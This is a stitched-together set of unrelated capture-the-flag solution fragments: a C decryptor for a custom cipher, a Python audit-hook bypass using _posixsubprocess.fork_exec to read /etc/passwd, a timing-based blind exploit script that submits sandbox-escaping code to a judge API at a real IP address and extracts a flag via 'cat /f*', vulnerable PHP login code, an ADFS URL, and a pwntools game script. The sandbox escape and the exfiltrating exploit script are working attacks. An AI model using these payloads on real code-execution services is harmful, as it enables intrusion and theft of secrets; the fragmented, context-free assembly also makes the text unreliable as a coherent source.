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#include <stdio.h>
#include <stdint.h>
unsigned char flag[32] = "11223344556677889900112233445566";
unsigned char T[258] = {
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16, 
    0x52, 0x09
};

void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1];

    uint32_t delta [] = {-239350328, 387276957, 2027808484, -626627285, 1013904242, -1640531527};
    for (int j = 0;j < 10485760 ; j+=8) {
        for (int i=0 ; i < 6 ; i++) {
            delta[i] -= 239350328;
        }
    }

    int delta_t = 0;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (int j = 0;j < 10485760 ; j+=8) {
        for (int i=0 ; i < 6 ; i++) {
            delta[i] += 239350328;
        }
        delta_t = delta[0];
        for (int i = 0; i < 8; i++) {
            if (i>=3) delta_t = delta[i-2];
            else if (i==0) delta_t = delta[0];
            else if (i==1) delta_t = delta[0] + 1640531527;
            else if (i==2) delta_t = delta[0] - 1013904242;
      
            v1 -= ((v0 << 4) + k2) ^ (v0 + delta_t) ^ ((v0 >> 5) + k3);
            v0 -= ((v1 << 4) + k0) ^ (v1 + delta_t) ^ ((v1 >> 5) + k1);
  
        }
  
    }
    v[0] = v0; v[1] = v1;
}

void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0;
    uint32_t delta [] = {-239350328, 387276957, 2027808484, -626627285, 1013904242, -1640531527};
    uint32_t delta_t = 0;
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
    for (int j = 0;j < 10485760 ; j+=8) {
        // delta_t = delta[0];
        for (int i = 0; i < 8; i++) {
            if (i<5) delta_t = delta[5-i];
            else if (i==5) delta_t = delta[0] - 1013904242;
            else if (i==6) delta_t = delta[0] + 1640531527;
            else if (i==7) delta_t = delta[0];

            v0 += ((v1 << 4) + k0) ^ (v1 + delta_t) ^ ((v1 >> 5) + k1);
            v1 += ((v0 << 4) + k2) ^ (v0 + delta_t) ^ ((v0 >> 5) + k3);
        }
        for (int i=0 ; i < 6 ; i++) {
            delta[i] -= 239350328;
        }
    }
    v[0] = v0; v[1] = v1;
}

void gift2_3_4(unsigned char* mm, int length) {  
    for (unsigned  int i= 0; i < 256; i+=2)
    {
        int idx1,idx2;
        // idx1=i;
        idx2=i;
        if (i==0)
        {
            idx1=255;
        }else
        {
            idx1=i-1;
        }
  
        unsigned char left=mm[idx1];
        unsigned char right=mm[idx2];
        mm[idx2]=left;
        mm[idx1]=right;
    }
    for (unsigned int i = 0; i < 256; i+=2)
    {
        unsigned char left=mm[i];
        unsigned char right=mm[i+1];
        mm[i+1]=left;
        mm[i]=right;
        /* code */
    }
}  

int char_to_uint32(unsigned char* data, uint32_t* v) {
    for (int i = 0; i < 8; i++) {
        v[i] = (data[i*4]) | (data[i*4+1] << 8) | (data[i*4+2] << 16) | (data[i*4+3]<<24);
    }
    return 0;
}

int xor(unsigned char* data) {
    unsigned char key = 172;
    // unsigned int idx = 1;
    for (size_t idx = 0; idx < 256; idx++)
    {
        printf("%d\n", idx);
        uint8_t val = data[idx];
        for (size_t j = 0; j < 5; j++)
        {

            for (int i = 10485760-1; i >=0 ; i--)
            {
                val ^= i & 0xFF;
                val = (val >> 4) | (val << 4);
                val = T[val];
            }
        }
        val = (val >> 4) | (val << 4);
        uint16_t temp = (idx * 73u + key) & 0xFF;
        val ^= temp;
        data[idx] = val;
    }
    return 0;
}

int main(){

    // unsigned char data [] = {0x48,0xef,0x7b,0xb4,0x4e,0x3a
    //     ,0x24,0x5f,0xca,0xb0,0xd0,0xc4,0x0a,0xeb,0xf4,
    //     0xb1,0x70,0xb8,0x9a,0x1d,0x51,0x54,0x5b,0x88,0xa8,0x72,
    //     0xb0,0x2c,0x78,0xac,0x3b,0x6c,0xe4,0xb3,0xe6,0xe3,0xd9,
    //     0x38,0x6b,0x08,0xc4,0xfb,0x90,0x6a,0xf0,0x5e,0x8e,0x25,
    //     0x51,0x01,0x98,0x28,0x95,0x5a,0x5e,0x84,0x66,0x1d,0x26,
    //     0x65,0xdc,0xae,0x94,0xdb,0xf3,0x0a,0x02,0x21,0xc9,0x68,
    //     0x2d,0x7f,0x82,0x5c,0x99,0x94,0x34,0x3b,0xee,0xd1,0x79,
    //     0xb5,0xc3,0x68,0xb5,0x82,0x25,0xa0,0xf6,0xcf,0xbb,0xcd,
    //     0x5a,0x19,0xe8,0xb3,0x76,0x0f,0x41,0x64,0xbd,0x2e,0xfa,0xb9,0x00,0xdf,0x5a,0x3c,0xb1,0x02,0x69,0x08,0x40,0x0e,0x52,0xea,0x97,0x0b,0x16,0x51,0x55,0xdc,0x81,0xa4,0xdd,0x57,0xb0,0x15,0x10,0x4d,0xe1,0xd4,0x42,0x6c,0xd2,0x25,0xe1,0x70,0xa0,0x37,0xb6,0x2b,0xc8,0x45,0xd5,0x52,0x14,0x53,0x00,0x6f,0xa5,0xb4,0x56,0x7f,0x64,0xba,0x41,0x66,0x2b,0x94,0x7a,0xca,0x0d,0xcc,0x00,0xcf,0xa4,0x9d,0xb9,0x58,0xa4,0x07,0x24,0x8e,0x9d,0xff,0x12,0x6c,0x88,0x06,0xaf,0x24,0x2f,0x3d,0xca,0xf4,0xa6,0x49,0x93,0x0e,0xdb,0x65,0xec,0x5c,0x8d,0x43,0x97,0x07,0x6c,0x34,0xca,0xd1,0x26,0x66,0xcc,0x87,0x5b,0xb9,0x92,0x3d,0x1e,0xd8,0xa7,0x12,0xb6,0xd7,0xfa,0x44,0x8a,0x72,0xa0,0x82,0xc0,0x7f,0xa6,0x00,0xf9,0x23,0x61,0xa3,0x91,0xb7,0x7b,0x4e,0xc2,0x5f,0xae,0x9c,0xb6,0xe9,0x20,0xe8,0x6e,0x54,0x1b,0x35,0x09,0xbb,0x21,0x31,0x12,0xfd,0x8e,0xc1,0xc5,0x5f};
  
    unsigned int key [] ={
        -1556008596,-939442524,1013904242,338241895
    };
    // 循环读取文件，每次读256字节
    FILE *fp = fopen("flag_enc", "rb");
    if (fp == NULL) {
        printf("open file error\n");
        return 0;
    }
    // 创建结果文件
    FILE *fp2 = fopen("flag_dec", "wb");
    if (fp2 == NULL) {
        printf("open file error\n");
        return 0;
    }
    unsigned char data[256];
    int cnt = 0;
    while (fread(data, 1, 256, fp) == 256) {
        unsigned int v[256/4];
        char_to_uint32(data, v);
        for (int i=0; i<256/8; i++) {
            decrypt(v + 8*i, key);
        }
        for (int i = 0; i < 8; i++) {
            data[i*4] = (v[i]) & 0xFF;
            data[i*4+1] = (v[i] >> 8) & 0xFF;
            data[i*4+2] = (v[i] >> 16) & 0xFF;
            data[i*4+3] = (v[i] >> 24) & 0xFF;
        }
        gift2_3_4(data, 256);
        xor(data);
        printf("%d: %x\n", cnt , data[0]);
        fwrite(data, 1, 256, fp2);
    }
    // unsigned int v[256/4];
    // char_to_uint32(data, v);

    // for (int i = 0; i < 8; i++) {
    //     printf("0x%x,", v[i]);
    // }

    // printf("\n");
    // decrypt(v, key);

    // for (int i = 0; i < 8; i++) {
    //     printf("0x%x,", v[i]);
    // }
        // calcul_sum();
    // // 第一次gift
    // unsigned char key = 172;
    // unsigned char* data= flag;
    // unsigned int idx = 0;
    // for (idx = 0; idx < 32; idx++)
    // {
    //     unsigned char val = data[idx];
    //     uint16_t temp = (idx * 73u + key) & 0xFF;
    //     val ^= temp;
    //     val = (val >> 4) | (val << 4);
    //     for (size_t j = 0; j < 5; j++)
    //     {
    //         for(int i = 0; i < 10485760; i++) { 
    //             val = T[val];
    //             val = (val >> 4) | (val << 4);
    //             val ^= i & 0xFF;
    //         }
    //     }
    //     data[idx] = val;
    //     printf("%x ", data[idx]);
    // }

  
    // uint8_t val = data[idx];
    // uint16_t temp = (idx * 73u + key) & 0xFF;
    // val ^= temp;
    // val = (val >> 4) | (val << 4);
    // for (size_t j = 0; j < 5; j++)
    // {
    //     for(int i = 0; i < 10485760; i++) { 
    //         val = T[val];
    //         val = (val >> 4) | (val << 4);
    //         val ^= i & 0xFF;
    //     }
    // }
    // data[idx] = val;
    // printf("%x\n", data[0]);
    //第一次5个大循环进行加密
}

1

sys.addaudithook是[Python 3.8](https://www.baidu.com/s?rsv_dl=re_dqa_generate&sa=re_dqa_generate&wd=Python%203.8&rsv_pq=d88fa736000df0bb&oq=sys.addaudithook&rsv_t=2b23Juo3nDF8SvbcYS4p38QE1OfZmOFx1Xqr97v3uIQbLRJ+SSVyHnOnyPM&tn=baidu&ie=utf-8)版本中引入的一个功能，用于添加审计钩子（audit hook），以监控和记录Python程序在运行时的安全敏感行为。审计钩子可以用于监控如文件读写、网络通信和动态代码执行等操作。

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import sys
import math
import collections
import queue
import heapq
import bisect

def audit_checker(event,args):
    print(f"审计事件: {event}, 参数: {args}")
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)

try:
    import os
    import _posixsubprocess
    _posixsubprocess.fork_exec([b"123", "/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1,-1, *(os.pipe()), False, False, False, None, None, None, -1, None, False)
except RuntimeError as e:
    print(f"error")

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import requests
import string

charset = string.ascii_letters + string.digits + "{}_-"
url = "http://121.41.238.106:26721/api/submit"
flag = ""

for i in range(1, 50):
    for char in charset:
        data = {
            "problem_id":"0","code":f"import os\nimport _posixsubprocess\n\n_posixsubprocess.fork_exec([\"abc\",\"-c\",\"import os;import time;flag=os.popen('cat /f*').read();'{char}'==flag[{i-1}] and time.sleep(5)\"], [b\"/bin/python3\"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)\na, b = map(int, input().split())\nresult = a + b\nprint(result)"
        }
  
        try:
            r = requests.post(url, json=data, timeout=6)
            if r.json().get("status") == "TLE":
                flag += char
                print(f"Flag: {flag}",flush=True)
                break
        except requests.exceptions.Timeout:
            flag += char
            print(f"Timeout Found: {char} | Flag: {flag}",flush=True)
            break
  
    if flag.endswith("}"):
        break

print("Final Flag:", flag)

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<!doctype html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="keywords" content="HTML5 Template">
    <meta name="description" content="Forum - Responsive HTML5 Template">
    <meta name="author" content="Forum">
    <link rel="shortcut icon" href="favicon/favicon.ico">
    <meta name="format-detection" content="telephone=no">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->

<main id="tt-pageContent" class="tt-offset-none">
    <div class="container">
        <div class="tt-loginpages-wrapper">
            <div class="tt-loginpages">
                <a href="index.html" class="tt-block-title">
                    <div class="tt-title">
                        登陆
                    </div>
              
                </a>
                <form class="form-default" method="post" action="./login.php">
                    <div class="form-group">
                        <label for="loginUserName">Username</label>
                        <input type="text" name="username" class="form-control" id="loginUserName" >
                    </div>
                    <div class="form-group">
                        <label for="loginUserPassword">Password</label>
                        <input type="password" name="password" class="form-control" id="loginUserPassword">
                    </div>
                    <div class="form-group">
                        <label for="code">code</label>
                        <input type="password" name="code" class="form-control">
                    </div>
                    <div class="form-group">
                        <button  class="btn btn-secondary btn-block">Log in</button>
                    </div>
              
                </form>
            </div>
        </div>
    </div>
</main>
<script src="js/bundle.js"></script>
</body>
</html>
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
    $username=addslashes($_POST['username']);
    $password=$_POST['password'];
    $code=$_POST['code'];
    $endpass=md5($code.$password).':'.$code;
    $sql = "select password from users where username='$username'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            if($endpass==$row['password']){
            $_SESSION['login'] = 1;
            $_SESSION['username'] = md5($username);
            echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
            }
        }
    } else {
        echo "<script>alert(\"错误\");</script>";
      die();
    }
    $conn->close();
  
}
?>

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<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);

if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
    $username=addslashes($_POST['username']);
    $password=$_POST['password'];
    $code=$_POST['code'];
    $endpass=md5($code.$password).':'.$code;
    $sql = "select password from users where username='$username'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        while($row = $result->fetch_assoc()) {
            if($endpass==$row['password']){
            $_SESSION['login'] = 1;
            $_SESSION['username'] = md5($username);
            echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
            }
        }
    } else {
        echo "<script>alert(\"错误\");</script>";
      die();
    }
    $conn->close();
  
}
?>

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<?php
class mypass{
                public function generateRandomString($length = 10) {
                    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
                    $charactersLength = strlen($characters);
                    $randomString = '';
              
                    for ($i = 0; $i < $length; $i++) {
                        $randomString .= $characters[rand(0, $charactersLength - 1)];
                    }
              
                    return $randomString;
                }
                public function checkpass($plain) {
                        $password = $this->generateRandomString();
                        $salt = substr(md5($password), 0, 5);
                        $password = md5($salt . $plain) . ':' . $salt;
                        return $password;
                }
}
?>

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https://sts.offensive.local/adfs/ls/?wtrealm=https%3A%2F%2Foa.offensive.local%3A8443%2F&wctx=WsFedOwinState%3DJkJPfN6-8ErIqErWJTCZx1o728SAtTK0EwcVtdRGY-shzrIENZO8hT3WNV0Mu5llFp7tCoej9MG7B1Agdkcp69vX95gvW41g136UCjYhZj7lRwZzVZ2829evoSTDndgaT8eiphaNylhAWaygWhx6tw&wa=wsignin1.0

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s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x , y : io.sendafter(x , y)
sla = lambda x , y : io.sendlineafter(x , y)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda x : io.recvline(x)
inter = lambda : io.interactive()
def cmd(idx):
    sla(b"3. Exit",str(idx))

def get_atk():
    ru(b'  ATK: ')
    atk = int(r(2))
    return atk

def get_monster_hp():
    ru(b'Monster: HP: ')
    hp = int(r(2))
    return hp
def atk_Goblin():
    atk = get_atk()
    while atk < 40 :
        cmd(1)
        monster_hp=get_monster_hp()
        print("cnt",int(monster_hp/atk))
        cnt = 0
        if(monster_hp%atk==0):
            cnt = int(monster_hp/atk)
        else :
            cnt = cnt = int(monster_hp/atk)+1
        if(monster_hp==30):
            for i in range (cnt):
                sla("4. Run\n",str(1))
                print("monster_hp",monster_hp)
        else:
            sla("4. Run\n",str(4))  

        if(get_atk()>atk):
            atk+=5
def atk_all(cho,level):
    atk = get_atk()
    while atk < 20+(level-1)*5 :
        cmd(1)
        monster_hp=get_monster_hp()
        print("cnt",int(monster_hp/atk))
        cnt = 0
        if(monster_hp%atk==0):
            cnt = int(monster_hp/atk)
        else :
            cnt = cnt = int(monster_hp/atk)+1
        if(atk >= 40):
            cho=2

        if((monster_hp==30) & (cho >=1)):
            for i in range (cnt):
                sla("4. Run\n",str(1))
                print("monster_hp",monster_hp)
        elif((monster_hp==40)& (cho >=2)):
            for i in range (cnt):
                sla("4. Run\n",str(1))
                print("monster_hp",monster_hp)
        elif((monster_hp==50)& (cho >=3)):
            for i in range (cnt):
                sla("4. Run\n",str(1))
                print("monster_hp",monster_hp)
        else:
            sla("4. Run\n",str(4))  

        if(get_atk()>atk):
            atk+=5